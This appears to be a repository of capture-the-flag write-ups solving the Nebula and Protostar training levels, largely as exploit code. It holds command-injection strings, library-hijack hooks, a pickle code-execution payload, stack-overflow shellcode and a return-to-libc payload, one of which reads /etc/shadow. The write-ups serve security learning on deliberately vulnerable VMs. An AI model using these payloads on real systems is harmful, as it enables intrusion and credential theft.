├── LICENSE
├── README.md
├── exploit-exercises.com
├── level08.png
├── nebula.md
└── protostar.md
├── hacking-lab.com
├── 1600 ZAP Proxy Writeup.md
├── 1600 ZAP Proxy Writeup.pdf
├── 1600_snap_01.png
├── 1600_snap_02.png
├── 1600_snap_03.png
├── 1600_snap_05.png
├── 5020 Password protected ZIP Writeup.md
├── 5020 Password protected ZIP Writeup.pdf
├── 5020_snap_01.png
├── 6111 SQL Injection Attack Writeup.md
├── 6111 SQL Injection Attack Writeup.pdf
└── 6111_snap_01.png
├── opensource
├── A deadlock bug fix solution for gperftools issues 775.pdf
├── patch_issue_775.patch
└── redis_vul_0906_2016
│ ├── README.md
│ ├── README.pdf
│ ├── patch
│ └── redis_vul_0906_2016.patch
│ └── poc
│ ├── buffer_over_read.rdb
│ ├── clean.sh
│ ├── install_redis.sh
│ └── poc.sh
├── preparing_cuckoo.sh
├── pwnable.kr
└── 01_level.md
├── sec_media
└── README.md
└── shellcode
└── linux
├── execve
├── README.md
├── c
│ ├── Makefile
│ └── execve.c
├── i386
│ ├── Makefile
│ └── shellcode.asm
└── x64
│ ├── Makefile
│ └── shellcode.asm
└── system
└── c
├── Makefile
└── system.c
/LICENSE:
--------------------------------------------------------------------------------
1 | CC0 1.0 Universal
2 |
3 | Statement of Purpose
4 |
5 | The laws of most jurisdictions throughout the world automatically confer
6 | exclusive Copyright and Related Rights (defined below) upon the creator and
7 | subsequent owner(s) (each and all, an "owner") of an original work of
8 | authorship and/or a database (each, a "Work").
9 |
10 | Certain owners wish to permanently relinquish those rights to a Work for the
11 | purpose of contributing to a commons of creative, cultural and scientific
12 | works ("Commons") that the public can reliably and without fear of later
13 | claims of infringement build upon, modify, incorporate in other works, reuse
14 | and redistribute as freely as possible in any form whatsoever and for any
15 | purposes, including without limitation commercial purposes. These owners may
16 | contribute to the Commons to promote the ideal of a free culture and the
17 | further production of creative, cultural and scientific works, or to gain
18 | reputation or greater distribution for their Work in part through the use and
19 | efforts of others.
20 |
21 | For these and/or other purposes and motivations, and without any expectation
22 | of additional consideration or compensation, the person associating CC0 with a
23 | Work (the "Affirmer"), to the extent that he or she is an owner of Copyright
24 | and Related Rights in the Work, voluntarily elects to apply CC0 to the Work
25 | and publicly distribute the Work under its terms, with knowledge of his or her
26 | Copyright and Related Rights in the Work and the meaning and intended legal
27 | effect of CC0 on those rights.
28 |
29 | 1. Copyright and Related Rights. A Work made available under CC0 may be
30 | protected by copyright and related or neighboring rights ("Copyright and
31 | Related Rights"). Copyright and Related Rights include, but are not limited
32 | to, the following:
33 |
34 | i. the right to reproduce, adapt, distribute, perform, display, communicate,
35 | and translate a Work;
36 |
37 | ii. moral rights retained by the original author(s) and/or performer(s);
38 |
39 | iii. publicity and privacy rights pertaining to a person's image or likeness
40 | depicted in a Work;
41 |
42 | iv. rights protecting against unfair competition in regards to a Work,
43 | subject to the limitations in paragraph 4(a), below;
44 |
45 | v. rights protecting the extraction, dissemination, use and reuse of data in
46 | a Work;
47 |
48 | vi. database rights (such as those arising under Directive 96/9/EC of the
49 | European Parliament and of the Council of 11 March 1996 on the legal
50 | protection of databases, and under any national implementation thereof,
51 | including any amended or successor version of such directive); and
52 |
53 | vii. other similar, equivalent or corresponding rights throughout the world
54 | based on applicable law or treaty, and any national implementations thereof.
55 |
56 | 2. Waiver. To the greatest extent permitted by, but not in contravention of,
57 | applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and
58 | unconditionally waives, abandons, and surrenders all of Affirmer's Copyright
59 | and Related Rights and associated claims and causes of action, whether now
60 | known or unknown (including existing as well as future claims and causes of
61 | action), in the Work (i) in all territories worldwide, (ii) for the maximum
62 | duration provided by applicable law or treaty (including future time
63 | extensions), (iii) in any current or future medium and for any number of
64 | copies, and (iv) for any purpose whatsoever, including without limitation
65 | commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes
66 | the Waiver for the benefit of each member of the public at large and to the
67 | detriment of Affirmer's heirs and successors, fully intending that such Waiver
68 | shall not be subject to revocation, rescission, cancellation, termination, or
69 | any other legal or equitable action to disrupt the quiet enjoyment of the Work
70 | by the public as contemplated by Affirmer's express Statement of Purpose.
71 |
72 | 3. Public License Fallback. Should any part of the Waiver for any reason be
73 | judged legally invalid or ineffective under applicable law, then the Waiver
74 | shall be preserved to the maximum extent permitted taking into account
75 | Affirmer's express Statement of Purpose. In addition, to the extent the Waiver
76 | is so judged Affirmer hereby grants to each affected person a royalty-free,
77 | non transferable, non sublicensable, non exclusive, irrevocable and
78 | unconditional license to exercise Affirmer's Copyright and Related Rights in
79 | the Work (i) in all territories worldwide, (ii) for the maximum duration
80 | provided by applicable law or treaty (including future time extensions), (iii)
81 | in any current or future medium and for any number of copies, and (iv) for any
82 | purpose whatsoever, including without limitation commercial, advertising or
83 | promotional purposes (the "License"). The License shall be deemed effective as
84 | of the date CC0 was applied by Affirmer to the Work. Should any part of the
85 | License for any reason be judged legally invalid or ineffective under
86 | applicable law, such partial invalidity or ineffectiveness shall not
87 | invalidate the remainder of the License, and in such case Affirmer hereby
88 | affirms that he or she will not (i) exercise any of his or her remaining
89 | Copyright and Related Rights in the Work or (ii) assert any associated claims
90 | and causes of action with respect to the Work, in either case contrary to
91 | Affirmer's express Statement of Purpose.
92 |
93 | 4. Limitations and Disclaimers.
94 |
95 | a. No trademark or patent rights held by Affirmer are waived, abandoned,
96 | surrendered, licensed or otherwise affected by this document.
97 |
98 | b. Affirmer offers the Work as-is and makes no representations or warranties
99 | of any kind concerning the Work, express, implied, statutory or otherwise,
100 | including without limitation warranties of title, merchantability, fitness
101 | for a particular purpose, non infringement, or the absence of latent or
102 | other defects, accuracy, or the present or absence of errors, whether or not
103 | discoverable, all to the greatest extent permissible under applicable law.
104 |
105 | c. Affirmer disclaims responsibility for clearing rights of other persons
106 | that may apply to the Work or any use thereof, including without limitation
107 | any person's Copyright and Related Rights in the Work. Further, Affirmer
108 | disclaims responsibility for obtaining any necessary consents, permissions
109 | or other rights required for any use of the Work.
110 |
111 | d. Affirmer understands and acknowledges that Creative Commons is not a
112 | party to this document and has no duty or obligation with respect to this
113 | CC0 or use of the Work.
114 |
115 | For more information, please see
116 |
117 |
118 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # security_ctf
2 | Security Capture The Flag (CTF) competition writeups and learning notes.
3 |
4 | 1. [level_01@pwnable.kr](pwnable.kr/01_level.md)
5 | 2. [nebula@exploit-exercises.com](exploit-exercises.com/nebula.md)
6 |
--------------------------------------------------------------------------------
/exploit-exercises.com/level08.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/exploit-exercises.com/level08.png
--------------------------------------------------------------------------------
/exploit-exercises.com/nebula.md:
--------------------------------------------------------------------------------
1 | # The Writeup for Nebula Level
2 |
3 | ## Introduction
4 |
5 | This writeup is for Nebula level in [exploit-exercises.com] (https://exploit-exercises.com/nebula/).
6 | Users can download a virtual disk file and setup a virtual machine to do exercises. The login user/password pair is nebula/nebula, which also contains the sudo permission. Regarding each level, users can apply levelXX/levelXX user/password pair to challenge each level.
7 |
8 | Regarding the emulated screen is not friendly. We can setup ssh and login remotely. However, please generate RSA and DSA key pair firstly.
9 |
10 | ```
11 | ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
12 | ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
13 | service ssh restart
14 | ```
15 |
16 | Then ssh from your local terminal. The IP address depends on your Network configuration of Virtual Box. I chose NAT mode and set port forward.
17 |
18 | ```
19 | ssh -p 1222 nebula@127.0.0.1
20 | ```
21 |
22 | ## Writeup
23 |
24 | ### Level00
25 |
26 | Firstly, please login as level00 with the password of level00.
27 |
28 | The mission is to find a Set User ID program that will run as the “flag00” account.
29 |
30 | After check the manual of `find` command, the command is followed.
31 |
32 | ```
33 | find / -perm -4000 -user flag00 > result.log
34 | cat result.log
35 | ```
36 |
37 | The aim program is `/rofs/bin/.../flag00` and the output is that `Congrats, now run getflag to get your flag!`
38 |
39 | The fullpath of the flag program is `/bin/getflag`.
40 |
41 | ### Level01
42 | The vulnerability of this level is about PATH variable in the environment. We can set current directory as PATH by command `env PATH=.`, then link `echo` to flag program.
43 |
44 | The following shell script shows the exploit process.
45 |
46 | ```
47 | ln -s /bin/getflag echo
48 | env PATH=. /home/flag01/flag01
49 | ```
50 |
51 | ### Level02
52 | The vulnerability of level02 is about shell command injection.
53 |
54 | The following shell script will load flag program.
55 |
56 | ```
57 | ln -s /bin/getflag x
58 | env PATH=. USER='hacked; ./x' /home/flag02/flag02
59 | ```
60 |
61 | ### Level03
62 | The vulnerability is about a writable crontab directory. The permission of `writable.d` is `0777`, which means any one is able to add a file in this directory. As any scripts in this directory will be executed by writable.sh, I just put a script to load flag program.
63 |
64 | The content of the script is followed.
65 |
66 | ```
67 | #!/bin/sh
68 | /bin/getflag > /tmp/level03.log
69 | ```
70 |
71 | After a short time (5 minutes), the script will be executed and the log file can be found.
72 |
73 | ### Level04
74 | It is not a good practice that restricting access file based on filename, because soft link can be used to bypass such control.
75 |
76 | ```
77 | ln -s /home/flag04/token x
78 | /home/flag04/flag04 x
79 | ```
80 |
81 | The output is `06508b5e-8909-4f38-b630-fdb148a848a2` .
82 |
83 | ### Level05
84 | In the home of user level05, `.backup` directory can be read by others. `backup-19072011.tgz` is stored in this directory. I decompressed it and found private key for ssh.
85 |
86 | The following ssh command will be used to login without password.
87 |
88 | ```
89 | ssh -i ./id_rsa flag05@localhost
90 | ```
91 |
92 | ### Level06
93 | The password of user `flag06` is followed UNIX style. The hash value is stored in `/etc/password`.
94 |
95 | `flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh`
96 |
97 | The hash can be cracked by John the Ripper on Kali.
98 |
99 | save user:hash into a file named test_pass.txt and apply this command to crack.
100 |
101 | `john test_pass.txt `
102 |
103 | The output shows the password is `hello`
104 |
105 | ```
106 | root@kali:/tmp# john test_pass.txt
107 | Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
108 | hello (flag06)
109 | guesses: 1 time: 0:00:00:00 DONE (Mon Dec 21 12:18:25 2015) c/s: 74200 trying: 123456 - thebest3
110 | Use the "--show" option to display all of the cracked passwords reliably
111 | ```
112 |
113 | ### Level07
114 | Command injection happened again.
115 | This time, I changed network mode to bridge mode.
116 |
117 | ` curl -v "http://192.168.1.224:7007/index.cgi?Host=127.0.0.1+%3b+/bin/getflag"`
118 |
119 | I inserted the second command after Host parameter.
120 |
121 | ### Level08
122 | There is a pcap file in this level. I will use Wireshark to analyse the package file.
123 |
124 | The following snapshot image shows the password of flag08 is `backd00Rmate`
125 |
126 | 
127 |
128 | Please notice that 0x7f is DEL, which means delete previous key.
129 |
130 | ### Level09
131 | The vulnerability is about `preg_replace()` in PHP.
132 |
133 | The vulnerable line is followed.
134 | ```
135 | $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
136 | ```
137 |
138 | Before PHP extract email to spam function, there is chance to execute php function.
139 |
140 | I created a file with content `[email ${${@exec(sh)}}]`
141 |
142 | The following command will get a shell.
143 |
144 | ```
145 | /home/flag09/flag09 ./test.txt 111
146 | ```
147 |
148 | One interesting thing is that I failed to pass `/bin/getflag` because of special character `/`.
149 |
150 | More study is needed about preg_replace vulnerability.
151 |
152 | ### Level10
153 | The vulnerability is that the `access()` and the `open()` is based on filename. I can launch a TOCTOU attack (race condition attack). Firstly, establish a soft link to a file that user level10 has read permission. Secondly, change the soft link to flag file.
154 |
155 | Launch a listener at host.
156 | ```
157 | nc -l -k -n 192.168.1.88 18211
158 | ```
159 |
160 | The feasible way to do a race condition attack is make `connect()` last longer.
161 |
162 | One idea is to set `iptables` drop SYN|ACK from host for a short time. In this case, program of level10 will try to resent ACK package. Then I will change the soft link to token file. After re-configurating `iptables`, the TCP connection will be finished.
163 |
164 | The commands for controlling iptables are followed.
165 |
166 | ```
167 | # assumption client(flag10 program): 192.168.1.224, and server is 192.168.1.133
168 |
169 | iptables -L --line-numbers
170 |
171 | iptables -A OUTPUT --protocol tcp --tcp-flags ALL SYN,ACK --dst 192.168.1.224 -j DROP
172 |
173 | iptables -L --line-numbers
174 |
175 | iptables -D INPUT 1
176 |
177 | ```
178 |
179 | Another idea is to apply raw socket programming on the server side to make a delay manually.
180 |
181 | They are just ideas. I only tried first method and succeeded.
182 |
183 | The flag is followed.
184 |
185 | `615a2ce1-b2b5-4c76-8eed-8aa5c4015c27`
186 |
187 | ### Level11
188 | An logical vulnerability is in the level11.
189 | The following encryption process is symmetric, which means decryption is the same.
190 |
191 | ```
192 | void process(char *buffer, int length)
193 | {
194 | unsigned int key;
195 | int i;
196 |
197 | key = length & 0xff;
198 |
199 | for(i = 0; i < length; i++) {
200 | buffer[i] ^= key;
201 | key -= buffer[i];
202 | }
203 |
204 | system(buffer);
205 | }
206 | ```
207 |
208 | If I input Content-Length as 1, the cipher is calculated as followed.`buffer[0]^=0x01`
209 |
210 | I chose following input.
211 |
212 | ```
213 | Content-Length: 1
214 | B
215 | ```
216 | The command will be `C` instead.
217 |
218 | ### Level12
219 | The command injection shows again.
220 | The vulnerability is in this line.
221 | ` prog = io.popen("echo "..password.." | sha1sum", "r")`
222 |
223 | If I pass password as `4754a4f4bd5787accd33de887b9250a0691dd198 #`, the `#` will terminate the pipe command.
224 |
225 | ### Level13
226 | The vulnerability is that access control based on `getuid()` can be bypassed through LD_PRELOAD.
227 |
228 | Firstly, I compiled a fake getuid function into a shared library.
229 |
230 | The Makefile is followed.
231 |
232 | ```
233 | all:
234 | gcc -nostdlib -fpic -shared getuid.c -o getuid.so
235 |
236 |
237 | ```
238 | And the source code is followed.
239 |
240 | ```
241 | #include
242 |
243 | uid_t getuid(void){
244 | return 1000;
245 | }
246 | ```
247 |
248 | Secondly, The LD_PRELOAD technology cannot be used directly, since the set-user-ID mode is turned on at flag13 program. However, since the token exists in the program, I will copy the original program into another place, then use LD_PRELOAD technology.
249 |
250 | ```
251 | cp /home/flag13/flag13 .
252 | env LD_PRELOAD=/tmp/level13/getuid.so ./flag13
253 | ```
254 |
255 | The program tells me that the token is `b705702b-76a8-42b0-8844-3adabbe5ac58`
256 |
257 | ### Level14
258 | This level tries to challenge the decryption sense.
259 | I first use number sequence, and then try alphabet sequence.
260 |
261 | ```
262 | sh-4.2$ ./flag14 -e
263 | 012345678901234567890
264 | 02468:<>@B:<>@BDFHJLD
265 |
266 | sh-4.2$ ./flag14 -e
267 | abcdefghijklmnopqrstuvwxyz
268 | acegikmoqsuwy{}??????????$
269 | ```
270 |
271 | I found the encryption code is that
272 |
273 | ```
274 | void encrypt(char* str){
275 | int i=0;
276 | while (str[i]){
277 | str[i]=str[i]+i;
278 | }
279 | }
280 | ```
281 |
282 | According to the encryption code, the decryption code is that
283 |
284 | ```
285 | #include
286 |
287 | void decrypt(char* str){
288 | int i=0;
289 | while (str[i]){
290 | str[i] = str[i]-i;
291 | i++;
292 | }
293 | }
294 | int main(){
295 | char code[]="857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.";
296 | decrypt(code);
297 | printf("%s\n",code);
298 | }
299 | ```
300 |
301 | The output shows
302 | `8457c118-887c-4e40-a5a6-33a25353165`
303 |
304 | ### Level15
305 | The vulnerability is that rpath, which is a hard-coded value in an executable file, is writable for attackers.
306 |
307 | The following command shows rpath of a elf file.
308 |
309 | ```
310 | sh-4.2$ readelf -d ./flag15
311 |
312 | Dynamic section at offset 0xf20 contains 21 entries:
313 | Tag Type Name/Value
314 | 0x00000001 (NEEDED) Shared library: [libc.so.6]
315 | 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
316 | 0x0000000c (INIT) 0x80482c0
317 | ```
318 |
319 | If I put libc.so.6 in the path `/var/tmp/flag15`, the elf will load a modified shared library.
320 |
321 | I will use nm to check which function could be used for injection malicious code.
322 |
323 | ```
324 | sh-4.2$ nm ./flag15 | grep U
325 | U __libc_start_main@@GLIBC_2.0
326 | U puts@@GLIBC_2.0
327 | ```
328 |
329 | I tried these two functions. However, only __libc_start_main succeeded.
330 |
331 | The content of Makefile.
332 |
333 | ```
334 | all:
335 | gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 hook.c
336 | ```
337 |
338 | The content of hook.c
339 |
340 | ```
341 | #include
342 | #include
343 |
344 | int __libc_start_main(int (*main) (int, char **, char **),
345 | int argc, char *argv, void (*init) (void), void (*fini)
346 | (void), void (*rtld_fini) (void), void *stack_end) {
347 | system("/bin/getflag > /tmp/level15.log");
348 | }
349 | ```
350 |
351 | The content of version.
352 |
353 | ```
354 | GLIBC_2.0{
355 | };
356 | ```
357 |
358 | Finally, run command `/home/flag15/flag15`. The fog file shows the program was hacked.
359 |
360 | ```
361 | sh-4.2$ cat /tmp/level15.log
362 | You have successfully executed getflag on a target account
363 | ```
364 |
365 | ### Level16
366 | The command injection is in the perl script.
367 | The vulnerable code is followed.
368 |
369 | ```
370 | sub login {
371 | $username = $_[0];
372 | $password = $_[1];
373 |
374 | $username =~ tr/a-z/A-Z/; # conver to uppercase
375 | $username =~ s/\s.*//; # strip everything after a space
376 |
377 | @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
378 | foreach $line (@output) {
379 | ($usr, $pw) = split(/:/, $line);
380 |
381 |
382 | if($pw =~ $password) {
383 | return 1;
384 | }
385 | }
386 |
387 | return 0;
388 | }
389 | ```
390 |
391 | Logically, $username will be converted to UPPERCASE. I will use `/*/X` to replace `/tmp/X`.
392 |
393 | The url is followed.
394 |
395 | `http://192.168.1.224:1616/index.cgi?username=1`/*/X`%20#&password=1`
396 |
397 | And the content of X.
398 |
399 | ```
400 | #!/bin/sh
401 |
402 | echo hacked
403 | /bin/getflag >> /tmp/level16.log
404 | ```
405 |
406 | ### Level17
407 | Pickle is a module in python, but it is not secure.
408 | [anapickle] (https://github.com/sensepost/anapickle) provides a very good tools to generate shellcode in pickle format.
409 |
410 | Following python code will generate pickle shellcode.
411 |
412 | ```
413 | #!/usr/bin/env python
414 |
415 | import pickle
416 | import os
417 | import subprocess
418 |
419 | class MyShellCode(object):
420 | def __reduce__(self):
421 | return (subprocess.Popen,(('/bin/getflag > /tmp/level17.log',),0,None,None,None,None,None,False,True,None,None,False,None,0))
422 |
423 | shellcode=pickle.dumps(MyShellCode())
424 |
425 | print(shellcode)
426 | #test
427 | #pickle.loads(shellcode)
428 | ```
429 |
430 | The shellcode is followed.
431 |
432 | ```
433 | csubprocess
434 | Popen
435 | p0
436 | ((S'/bin/getflag > /tmp/level17.log'
437 | p1
438 | tp2
439 | I0
440 | NNNNNI00
441 | I01
442 | NNI00
443 | NI0
444 | tp3
445 | Rp4
446 | .
447 | ```
448 |
449 | ### Level18
450 | This level is a little bit complex.
451 | Firstly, there is a logical problem in login function.
452 |
453 | ```
454 | void login(char *pw)
455 | {
456 | FILE *fp;
457 |
458 | fp = fopen(PWFILE, "r");
459 | if(fp) {
460 | char file[64];
461 |
462 | if(fgets(file, sizeof(file) - 1, fp) == NULL) {
463 | dprintf("Unable to read password file %s\n", PWFILE);
464 | return;
465 | }
466 | fclose(fp);
467 | if(strcmp(pw, file) != 0) return;
468 | }
469 | dprintf("logged in successfully (with%s password file)\n",
470 | fp == NULL ? "out" : "");
471 |
472 | globals.loggedin = 1;
473 |
474 | }
475 | ```
476 |
477 | If fopen fails, user will also login sucessfully. Open files configuration in ulimit will be used to limit the maximum number of files that open progress can open.
478 |
479 | ```
480 | sh-4.2$ ulimit -a
481 | open files (-n) 1024
482 | ```
483 |
484 | One way is to use `ulimit -n 5` to reduce the open files. Another way is to call login several times until the program cannot open more files.
485 |
486 | Secondly, the `shell` command is to use `execve("/bin/sh", argv, envp);`. However, the argv is about this form `['/home/flag18/flag18','-d', '/tmp/level18/run.log']`, which means two things. One is that `/bin/sh` will load `flag18` again. The other is that the elf file should be read again. Some file handles should be closed before the elf file is read by OS. The attack input is like the following form.
487 |
488 | ```
489 | login AAA
490 | login AAA
491 | login AAA
492 | ...
493 | closelog
494 | shell
495 | ```
496 |
497 | Then the next mission is how to load malicious action when the elf is executed again.
498 |
499 | There is a parameter for `/bin/sh`. `--init-file` will be executed before the content of program is executed.
500 |
501 | After I tried following command, which is `python ex.py | /home/flag18/flag18 --rcfile -d /tmp/level18/run.log
502 | `
503 |
504 | The content of ex.py
505 |
506 | ```
507 | #!/usr/bin/env python
508 |
509 | out="login AAA\n"*1024+"closelog\n"+"shell"
510 | print(out)
511 | ```
512 |
513 | The following error is shown.
514 |
515 | ```
516 | /home/flag18/flag18: invalid option -- '-'
517 | /home/flag18/flag18: invalid option -- 'r'
518 | /home/flag18/flag18: invalid option -- 'c'
519 | /home/flag18/flag18: invalid option -- 'f'
520 | /home/flag18/flag18: invalid option -- 'i'
521 | /home/flag18/flag18: invalid option -- 'l'
522 | /home/flag18/flag18: invalid option -- 'e'
523 | /tmp/level18/run.log: line 1: Starting: command not found
524 | /tmp/level18/run.log: line 2: syntax error near unexpected token `('
525 | /tmp/level18/run.log: line 2: `logged in successfully (without password file)'
526 | ```
527 |
528 | I found the `/bin/sh` considers the run.log as the init-file.
529 |
530 | The final mission is to load Starting. I put current path into the PATH. And write the Starting file.
531 |
532 | ```
533 | #!/bin/sh
534 |
535 | echo hacked
536 | /bin/getflag
537 | ```
538 |
539 | ### Level19
540 | There is a fact that the parent process id of a daemon process is 0.
541 |
542 | I modified a sample `Fork off and die` source code to bypass this logical obstacle.
543 |
544 | ```
545 | #include
546 | #include
547 | #include
548 | #include
549 |
550 | int main(void)
551 | {
552 | int pid = fork();
553 | if(pid < 0)
554 | {
555 | fprintf(stderr, "Can't fork.");
556 | exit(1);
557 | }
558 | else if(pid == 0) // we are the child
559 | {
560 | printf("pid=%d,ppid=%d\n",getpid(),getppid());
561 | setsid(); // "release" from the parent
562 | int pid2 = fork();
563 | if (pid2 < 0) fprintf(stderr, "Can't fork after releasing.\n");
564 | else if (pid2 > 0) exit(0); // we are the parent
565 | else {
566 | // We are now completely free and running under init.
567 | // We have to close the inherited stream descriptors to avoid deadlocks and the like.
568 | printf("pid=%d,ppid=%d\n",getpid(),getppid());
569 | char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
570 | execve("/home/flag19/flag19",args,NULL);
571 | }
572 | }
573 | else //we are the parent
574 | {
575 | exit(0);
576 | }
577 | }
578 | ```
579 |
580 | But one more question, why fork twice in daemon?
581 | A quick answer is that this code prevents zombie processes.
582 |
583 | ## Conclusion
584 | In conclusion, this is a basic level of CTF practice. I need review the Advanced Programming in the UNIX Environment (APUE). I am not familiar with perl. Link process is another knowledge that I need learn.
585 |
586 | ## Reference
587 | 1. [Cracking Nebula Part 1] (http://unlogic.co.uk/2014/06/24/cracking-nebula-part1/)
588 | 2. [Cracking Nebula Part 2] (http://unlogic.co.uk/2014/07/02/cracking-nebula-part2/)
589 | 3. [Version Script] (http://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_25.html)
590 | 4. [Exploiting Misuse of Python's "Pickle"] (https://blog.nelhage.com/2011/03/exploiting-pickle/)
591 | 5. [Fork off and die] (http://wiki.linuxquestions.org/wiki/Fork_off_and_die)
--------------------------------------------------------------------------------
/exploit-exercises.com/protostar.md:
--------------------------------------------------------------------------------
1 | # Protostar
2 |
3 | ## Stack0
4 |
5 | The source code shows that there is a significant stack overflow. When the program recvievs input from the user, gets() will not check the length of the buffer.
6 | The mission is that overwrite the variable named modified, the address of which is just 64bytes behind the address of the variable named buffer.
7 |
8 | ```ASM
9 | 080483f4 :
10 | 80483f4: 55 push %ebp
11 | 80483f5: 89 e5 mov %esp,%ebp
12 | 80483f7: 83 e4 f0 and $0xfffffff0,%esp
13 | 80483fa: 83 ec 60 sub $0x60,%esp
14 | 80483fd: c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp)
15 | 8048404: 00
16 | 8048405: 8d 44 24 1c lea 0x1c(%esp),%eax
17 | 8048409: 89 04 24 mov %eax,(%esp)
18 | 804840c: e8 fb fe ff ff call 804830c
19 | 8048411: 8b 44 24 5c mov 0x5c(%esp),%eax
20 | 8048415: 85 c0 test %eax,%eax
21 | 8048417: 74 0e je 8048427
22 | 8048419: c7 04 24 00 85 04 08 movl $0x8048500,(%esp)
23 | 8048420: e8 07 ff ff ff call 804832c
24 | 8048425: eb 0c jmp 8048433
25 | 8048427: c7 04 24 29 85 04 08 movl $0x8048529,(%esp)
26 | 804842e: e8 f9 fe ff ff call 804832c
27 | 8048433: c9 leave
28 | 8048434: c3 ret
29 |
30 | ```
31 |
32 | We could calculate the offset will be 0x40 = 64, since the
33 | &buffer = 0x1c(%esp);
34 | &modified = 0x5c(%esp);
35 |
36 | The exploit python code is
37 |
38 | ```python
39 | #!/usr/bin/env python
40 |
41 | SH='A'*64+'XXXX'
42 | print(SH)
43 | ```
44 |
45 | ## Stack1
46 |
47 | The exploit python code could be slightly modified for stack1
48 |
49 | ```python
50 | #!/usr/bin/env python
51 |
52 | SH='A'*64+'dcba'
53 | print(SH)
54 | ```
55 |
56 | ## Stack2
57 |
58 | The exploit python code is:
59 |
60 | ```python
61 | #!/usr/bin/env python
62 | import sys
63 |
64 | SH='A'*64+'\x0a\x0d\x0a\x0d'
65 | sys.stdout.write(SH)
66 | ```
67 |
68 | And the stack overflow could be constructed as :
69 |
70 | ```shell
71 | env GREENIE="`python hack.py`" /opt/protostar/bin/stack2
72 | ```
73 |
74 | ## Stack3
75 |
76 | The disasmble code is :
77 |
78 | ```asm
79 | 08048438 :
80 | 8048438: 55 push %ebp
81 | 8048439: 89 e5 mov %esp,%ebp
82 | 804843b: 83 e4 f0 and $0xfffffff0,%esp
83 | 804843e: 83 ec 60 sub $0x60,%esp
84 | 8048441: c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp)
85 | 8048448: 00
86 | 8048449: 8d 44 24 1c lea 0x1c(%esp),%eax
87 | 804844d: 89 04 24 mov %eax,(%esp)
88 | 8048450: e8 db fe ff ff call 8048330
89 | 8048455: 83 7c 24 5c 00 cmpl $0x0,0x5c(%esp)
90 | 804845a: 74 1b je 8048477
91 | 804845c: b8 60 85 04 08 mov $0x8048560,%eax
92 | 8048461: 8b 54 24 5c mov 0x5c(%esp),%edx
93 | 8048465: 89 54 24 04 mov %edx,0x4(%esp)
94 | 8048469: 89 04 24 mov %eax,(%esp)
95 | 804846c: e8 df fe ff ff call 8048350
96 | 8048471: 8b 44 24 5c mov 0x5c(%esp),%eax
97 | 8048475: ff d0 call *%eax
98 | 8048477: c9 leave
99 | 8048478: c3 ret
100 | ```
101 | I plan to overwrite the content of the pointor named fp with the value of win(), the address of which is 0x08048424.
102 |
103 | The following python code will exploit the program at the level.
104 |
105 | ```python
106 | #!/usr/bin/env python
107 | import sys
108 |
109 | SH='A'*64+'\x24\x84\x04\x08'
110 | sys.stdout.write(SH)
111 | ```
112 |
113 | ## stack4
114 |
115 | I used `strace -i` to find out which offset is the return address, then I constructed the attack vector.
116 |
117 | ```python
118 | #!/usr/bin/env python
119 | import sys
120 | padding='BBBBCCCCDDDD'
121 | ret_addr='\xf4\x83\x04\x08'
122 |
123 | SH='A'*64+padding+ret_addr
124 |
125 | sys.stdout.write(SH)
126 | ```
127 |
128 | ## stack5
129 |
130 | In this level, I found the value of esp and ebp maybe different between normal execution and gdb mode. Also /bin/sh will read from stdin, but which was redirected by command. And strace is a good tool to debug.
131 |
132 | `python stack5.py | /opt/protostar/bin/stack5`
133 |
134 | ```python
135 | #!/usr/bin/env python
136 |
137 | import sys
138 |
139 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
140 | NOP= "\x90"
141 |
142 | ret_addr = "\xa0\xf7\xff\xbf" # 0xbffff7a0
143 | old_ebp = "\x48\xf8\xff\xbf" #0xbffff848
144 |
145 | buff_size = 64
146 |
147 | # NOP shell_code NOP old_ebp ret_addr
148 | SH = NOP*32 + SHELL_CODE
149 | SH = SH + NOP*(buff_size-len(SH))
150 | # and $0xfffffff0,%esp
151 | SH = SH + NOP*8 + old_ebp + ret_addr
152 | # add return char for gets()
153 | SH = SH + "\n"
154 |
155 | sys.stdout.write(SH)
156 | sys.stdout.flush()
157 | #write cmd
158 | cmd="id; cat /etc/shadow > shadow.txt"
159 | sys.stdout.write(cmd+"\n")
160 | sys.stdout.flush()
161 |
162 | ```
163 |
164 | # stack6
165 |
166 | Because the buffer of stack starts with 0xbfXXXXXX, it will be unable to put the shellcode on the stack.
167 |
168 | The following code shows how return into libc works. Please be careful about the structure of the payload.
169 | buffer | old_ebp | system_addr | ret_addr_after_system | parameters
170 |
171 | ```python
172 | #!/usr/bin/env python
173 |
174 | import sys
175 |
176 | NOP= "\x90"
177 |
178 | ret_addr = "\xb0\xff\xec\xb7" # 0xb7ecffb0 system
179 | old_ebp = "\xff\xff\xff\xbf" # 0xbfffffff
180 | para = "\x8c\xf7\xff\xbf" # 0xbffff78c
181 | buff_size = 0x4c
182 | cmd="/usr/bin/id; echo "
183 | exit_addr = "\xc0\x60\xec\xb7" # 0xb7ec60c0 exit
184 | exit_para = "\xff\xff\xff\xff"
185 | # cmd padding old_ebp ret_addr
186 | SH = cmd
187 | SH = SH + 'A'*(buff_size-len(SH))
188 | SH = SH + old_ebp + ret_addr + exit_addr + para
189 | # add return char for gets()
190 | SH = SH + "\n"
191 |
192 | sys.stdout.write(SH)
193 | sys.stdout.flush()
194 | ```
195 |
196 | The second point is that, this code only check the return address at the first time. However, we can control the return address, so that we just pick a function on the return address. When this function returns, it will continue pop the next level return address, which will not be checked.
